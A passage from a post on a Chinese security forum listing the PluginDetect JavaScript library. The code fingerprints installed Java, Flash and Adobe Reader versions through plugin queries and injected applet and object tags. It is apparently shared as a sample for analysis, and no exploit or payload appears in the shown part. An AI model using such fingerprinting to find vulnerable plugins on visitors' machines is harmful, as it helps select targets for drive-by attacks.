  863.         jreDisabled: function() {
  864.             var b = this,
  865.                 d = b.$,
  866.                 c = b.deployTK.query().JRE,
  867.                 a;
  868.             if (c && d.OS == 1) {
  869.                 if ((d.isGecko && d.compareNums(d.verGecko, "1,9,2,0") >= 0 && d.compareNums(c, "1,6,0,12") < 0) || (d.isChrome && d.compareNums(c, "1,6,0,12") < 0)) {
  870.                     return 1
  871.                 }
  872.             };
  873.             if (d.isOpera && d.verOpera >= 9 && !b.Enabled && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  874.                 return 1
  875.             }
  876.             if ((d.isGecko || d.isChrome) && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  877.                 return 1
  878.             }
  879.             return 0
  880.         },
  881.         deployTK: {
  882.             status: null,
  883.             JREall: [],
  884.             JRE: null,
  885.             HTML: null,
  886.             query: function() {
  887.                 var f = this,
  888.                     h = f.$,
  889.                     c = f.parentNode,
  890.                     i, a, b, g = len = null;
  891.                 if (f.status !== null) {
  892.                     return f
  893.                 }
  894.                 f.status = 0;
  895.                 if ((h.isGecko && h.compareNums(h.verGecko, h.formatNum("1.6")) <= 0) || h.isSafari || (h.isIE && !h.ActiveXEnabled)) {
  896.                     return f
  897.                 }
  898.                 if (h.isIE && h.verIE >= 6) {
  899.                     f.HTML = h.insertHTML("object", [], []);
  900.                     g = h.getDOMobj(f.HTML)
  901.                 } else {
  902.                     if (!h.isIE && (b = h.hasMimeType(c.DTKmimeType)) && b.type) {
  903.                         f.HTML = h.insertHTML("object", ["type", b.type], []);
  904.                         g = h.getDOMobj(f.HTML)
  905.                     }
  906.                 }
  907.                 if (g) {
  908.                     if (h.isIE && h.verIE >= 6) {
  909.                         try {
  910.                             g.classid = c.DTKclassID
  911.                         } catch (i) {}
  912.                     };
  913.                     try {
  914.                         var d = g.jvms;
  915.                         if (d) {
  916.                             len = d.getLength();
  917.                             if (h.isNum(len)) {
  918.                                 f.status = len > 0 ? 1 : -1;
  919.                                 for (a = 0;
  920.                                 a < len;
  921.                                 a++) {
  922.                                     b = h.getNum(d.get(len - 1 - a).version);
  923.                                     if (b) {
  924.                                         f.JREall[a] = b
  925.                                     }
  926.                                 }
  927.                             }
  928.                         }
  929.                     } catch (i) {}
  930.                 }
  931.                 if (f.JREall.length > 0) {
  932.                     f.JRE = h.formatNum(f.JREall[0])
  933.                 }
  934.                 return f
  935.             }
  936.         },
  937.         queryWithoutApplets00: function(c, a) {
  938.             var b = window.java,
  939.                 d;
  940.             try {
  941.                 if (b.lang) {
  942.                     a.value = [b.lang.System.getProperty("java.version") + " ", b.lang.System.getProperty("java.vendor") + " "]
  943.                 }
  944.             } catch (d) {}
  945.         },
  946.         queryWithoutApplets: function() {
  947.             var b = this,
  948.                 c = b.$,
  949.                 d, a = b.queryWithoutApplets;
  950.             if (!a.value) {
  951.                 a.value = [null, null];
  952.                 if (!c.isIE && window.java) {
  953.                     if (c.OS == 2 && c.isOpera && c.verOpera < 9.2 && c.verOpera >= 9) {} else {
  954.                         if (c.isGecko && c.compareNums(c.verGecko, "1,9,0,0") < 0 && c.compareNums(c.verGecko, "1,8,0,0") >= 0) {} else {
  955.                             b.queryWithoutApplets00(c, a)
  956.                         }
  957.                     }
  958.                 }
  959.             }
  960.             return a.value
  961.         },
  962.         applet: {
  963.             results: [
  964.                 [null, null],
  965.                 [null, null],
  966.                 [null, null]
  967.             ],
  968.             HTML: [0, 0, 0],
  969.             active: [0, 0, 0],
  970.             allowed: [2, 2, 2],
  971.             DummyObjTagHTML: 0,
  972.             DummySpanTagHTML: 0,
  973.             getResult: function() {
  974.                 var c = this.results,
  975.                     a, b;
  976.                 for (a = 0;
  977.                 a < c.length;
  978.                 a++) {
  979.                     b = c[a];
  980.                     if (b[0]) {
  981.                         break
  982.                     }
  983.                 }
  984.                 return [].concat(b)
  985.             },
  986.             canTry: function(d) {
  987.                 var b = this,
  988.                     c = b.$,
  989.                     a = b.parentNode;
  990.                 if (b.allowed[d] == 3) {
  991.                     return true
  992.                 }
  993.                 if (!a.version0 || !a.Enabled || (c.isIE && !c.ActiveXEnabled)) {
  994.                     if (b.allowed[d] == 2) {
  995.                         return true
  996.                     }
  997.                     if (b.allowed[d] == 1 && !b.getResult()[0]) {
  998.                         return true
  999.                     }
  1000.                 }
  1001.                 return false
  1002.             },
  1003.             canTryAny: function() {
  1004.                 var b = this,
  1005.                     a;
  1006.                 for (a = 0;
  1007.                 a < b.allowed.length;
  1008.                 a++) {
  1009.                     if (b.canTry(a)) {
  1010.                         return true
  1011.                     }
  1012.                 }
  1013.                 return false
  1014.             },
  1015.             canUseAppletTag: function() {
  1016.                 var b = this,
  1017.                     c = b.$,
  1018.                     a = b.parentNode;
  1019.                 return (!c.isIE || a.Enabled)
  1020.             },
  1021.             canUseObjectTag: function() {
  1022.                 var a = this,
  1023.                     b = a.$;
  1024.                 return (!b.isIE || b.ActiveXEnabled)
  1025.             },
  1026.             queryThis: function(h) {
  1027.                 var g, c = this,
  1028.                     b = c.parentNode,
  1029.                     f = b.$,
  1030.                     a = vendor = null,
  1031.                     d = f.getDOMobj(c.HTML[h], true);
  1032.                 if (d) {
  1033.                     try {
  1034.                         a = d.getVersion() + " ";
  1035.                         vendor = d.getVendor() + " ";
  1036.                         d.statusbar(f.winLoaded ? " " : " ")
  1037.                     } catch (g) {}
  1038.                     if (f.isStrNum(a)) {
  1039.                         c.results[h] = [a, vendor]
  1040.                     }
  1041.                     try {
  1042.                         if (f.isIE && a && d.readyState != 4) {
  1043.                             f.garbage = true;
  1044.                             d.parentNode.removeChild(d)
  1045.                         }
  1046.                     } catch (g) {}
  1047.                 }
  1048.             },
  1049.             insertHTMLQueryAll: function(e) {
  1050.                 var g = this,
  1051.                     n = g.parentNode,
  1052.                     d = n.$,
  1053.                     o = g.results,
  1054.                     q = g.HTML,
  1055.                     h = "&nbsp;&nbsp;&nbsp;&nbsp;",
  1056.                     u = "A.class";
  1057.                 if (!d.isString(e) || !(/\.jar\s*$/).test(e) || (/\\/).test(e)) {
  1058.                     return [null, null]
  1059.                 }
  1060.                 if (n.OTF < 1) {
  1061.                     n.OTF = 1
  1062.                 }
  1063.                 if (n.jreDisabled()) {
  1064.                     return [null, null]
  1065.                 }
  1066.                 if (n.OTF < 2) {
  1067.                     n.OTF = 2
  1068.                 }
  1069.                 var c = e,
  1070.                     t = "",
  1071.                     m;
  1072.                 if ((/[\/]/).test(e)) {
  1073.                     m = e.split("/");
  1074.                     c = m[m.length - 1];
  1075.                     m[m.length - 1] = "";
  1076.                     t = m.join("/")
  1077.                 }
  1078.                 var j = ["archive", c, "code", u],
  1079.                     l = ["mayscript", "true"],
  1080.                     r = ["scriptable", "true"].concat(l),
  1081.                     f = !d.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : n.mimeType[0];
  1082.                 if (!q[0] && g.canUseObjectTag() && g.canTry(0)) {
  1083.                     q[0] = d.isIE ? d.insertHTML("object", ["type", f].concat(j), ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML("object", ["type", f, "archive", c, "classid", "java:" + u], ["codebase", t, "archive", c].concat(r), h, n);
  1084.                     o[0] = [0, 0];
  1085.                     g.queryThis(0)
  1086.                 }
  1087.                 if (!q[1] && g.canUseAppletTag() && g.canTry(1)) {
  1088.                     q[1] = d.isIE ? d.insertHTML("applet", ["alt", h].concat(l).concat(j), ["codebase", t].concat(l), h, n) : d.insertHTML("applet", ["codebase", t, "alt", h].concat(l).concat(j), [].concat(l), h, n);
  1089.                     o[1] = [0, 0];
  1090.                     g.queryThis(1)
  1091.                 }
  1092.                 if (!q[2] && g.canUseObjectTag() && g.canTry(2)) {
  1093.                     q[2] = d.isIE ? d.insertHTML("object", ["classid", n.classID], ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML();
  1094.                     o[2] = [0, 0];
  1095.                     g.queryThis(2)
  1096.                 }
  1097.                 if (!g.DummyObjTagHTML && g.canUseObjectTag()) {
  1098.                     g.DummyObjTagHTML = d.insertHTML("object", [], [], h)
  1099.                 }
  1100.                 if (!g.DummySpanTagHTML) {
  1101.                     g.DummySpanTagHTML = d.insertHTML("", [], [], h)
  1102.                 };
  1103.                 var k, a = 0;
  1104.                 for (k = 0;
  1105.                 k < o.length;
  1106.                 k++) {
  1107.                     if (q[k] || g.canTry(k)) {
  1108.                         a++
  1109.                     } else {
  1110.                         break
  1111.                     }
  1112.                 }
  1113.                 if (a == o.length) {
  1114.                     n.getVersionDone = n.forceVerifyTag.length > 0 ? 0 : 1
  1115.                 }
  1116.                 return g.getResult()
  1117.             }
  1118.         },
  1119.         append: function(e, d) {
  1120.             for (var c = 0;
  1121.             c < d.length;
  1122.             c++) {
  1123.                 e.push(d[c])
  1124.             }
  1125.         },
  1126.         JavaFix: function() {}
  1127.     },
  1128.     flash: {
  1129.         mimeType: ["application/x-shockwave-flash", "application/futuresplash"],
  1130.         progID: "ShockwaveFlash.ShockwaveFlash",
  1131.         classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1132.         getVersion: function() {
  1133.             var b = function(i) {
  1134.                     if (!i) {
  1135.                         return null
  1136.                     }
  1137.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1138.                     return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1139.                 };
  1140.             var d, h = this,
  1141.                 f = h.$,
  1142.                 j, g, k = null,
  1143.                 c = null,
  1144.                 a = null;
  1145.             if (!f.isIE) {
  1146.                 d = f.findNavPlugin("Flash");
  1147.                 if (d && d.description && f.hasMimeType(h.mimeType)) {
  1148.                     k = b(d.description)
  1149.                 }
  1150.                 if (k) {
  1151.                     k = f.getPluginFileVersion(d, k)
  1152.                 }
  1153.             } else {
  1154.                 for (g = 15;
  1155.                 g > 2;
  1156.                 g--) {
  1157.                     c = f.getAXO(h.progID + "." + g);
  1158.                     if (c) {
  1159.                         a = g.toString();
  1160.                         break
  1161.                     }
  1162.                 }
  1163.                 if (a == "6") {
  1164.                     try {
  1165.                         c.AllowScriptAccess = "always"
  1166.                     } catch (j) {
  1167.                         return "6,0,21,0"
  1168.                     }
  1169.                 }
  1170.                 try {
  1171.                     k = b(c.GetVariable("$version"))
  1172.                 } catch (j) {}
  1173.                 if (!k && a) {
  1174.                     k = a
  1175.                 }
  1176.             }
  1177.             h.installed = k ? 1 : -1;
  1178.             h.version = f.formatNum(k);
  1179.             return true
  1180.         }
  1181.     },
  1182.     adobereader: {
  1183.         mimeType: "application/pdf",
  1184.         navPluginObj: null,
  1185.         progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1186.         classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1187.         INSTALLED: {},
  1188.         pluginHasMimeType: function(d, c, f) {
  1189.             var b = this,
  1190.                 e = b.$,
  1191.                 a;
  1192.             for (a in d) {
  1193.                 if (d[a] && d[a].type && d[a].type == c) {
  1194.                     return 1
  1195.                 }
  1196.             }
  1197.             if (e.getMimeEnabledPlugin(c, f)) {
  1198.                 return 1
  1199.             }
  1200.             return 0
  1201.         },
  1202.         getVersion: function(i) {
  1203.             var f = this,
  1204.                 c = f.$,
  1205.                 g, d, j, l = p = null,
  1206.                 h = null,
  1207.                 k = null,
  1208.                 a, b;
  1209.             i = (c.isString(i) && i.length) ? i.replace(/\s/, "").toLowerCase() : f.mimeType;
  1210.             if (c.isDefined(f.INSTALLED[i])) {
  1211.                 f.installed = f.INSTALLED[i];
  1212.                 return
  1213.             }
  1214.             if (!c.isIE) {
  1215.                 a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1216.                 if (f.getVersionDone !== 0) {
  1217.                     f.getVersionDone = 0;
  1218.                     p = c.getMimeEnabledPlugin(f.mimeType, a);
  1219.                     if (!p && c.hasMimeType(f.mimeType)) {
  1220.                         p = c.findNavPlugin(a, 0)
  1221.                     }
  1222.                     if (p) {
  1223.                         f.navPluginObj = p;
  1224.                         h = c.getNum(p.description) || c.getNum(p.name);
  1225.                         h = c.getPluginFileVersion(p, h);
  1226.                         if (!h && c.OS == 1) {
  1227.                             if (f.pluginHasMimeType(p, "application/vnd.adobe.pdfxml", a)) {
  1228.                                 h = "9"
  1229.                             } else {
  1230.                                 if (f.pluginHasMimeType(p, "application/vnd.adobe.x-mars", a)) {
  1231.                                     h = "8"
  1232.                                 }
  1233.                             }
  1234.                         }
  1235.                     }
  1236.                 } else {
  1237.                     h = f.version
  1238.                 }
  1239.                 l = c.getMimeEnabledPlugin(i, a);
  1240.                 f.installed = l && h ? 1 : (l ? 0 : (f.navPluginObj ? -0.2 : -1))
  1241.             } else {
  1242.                 p = c.getAXO(f.progID[0]) || c.getAXO(f.progID[1]);
  1243.                 b = /=\s*([\d\.]+)/g;
  1244.                 try {
  1245.                     d = (p || c.getDOMobj(c.insertHTML("object", ["classid", f.classID], ["src", ""], "", f))).GetVersions();
  1246.                     for (j = 0;
  1247.                     j < 5;
  1248.                     j++) {
  1249.                         if (b.test(d) && (!h || RegExp.$1 > h)) {
  1250.                             h = RegExp.$1
  1251.                         }
  1252.                     }
  1253.                 } catch (g) {}
  1254.                 f.installed = h ? 1 : (p ? 0 : -1)
  1255.             }
  1256.             if (!f.version) {
  1257.                 f.version = c.formatNum(h)
  1258.             }
  1259.             f.INSTALLED[i] = f.installed
  1260.         }
  1261.     },
  1262.     zz: 0
  1263. };
  1264. PluginDetect.initScript();
复制代码




avg6.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 07:17 , Processed in 0.136957 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表